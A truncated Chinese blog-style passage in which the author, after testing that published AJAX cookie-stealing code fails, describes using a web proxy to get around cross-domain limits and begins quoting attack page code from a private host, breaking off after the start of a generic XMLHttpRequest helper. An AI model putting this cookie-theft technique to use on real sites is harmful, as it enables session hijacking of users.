网上的很多文章提到的利用ajax盗取cookie的代码经我测试不可行。

研究了一下午，第一个难题是ajax跨域提交数据，可以用web代理来解决，http://192.168.8.108上的a.htm代码: [removed]  function getXmlHttpRequest(){         if(window.ActiveXObject){              var ieArr=[Msxml2.XMLHTTP,Microsoft.XMLHTTP];                              for(var i=0;i<ieA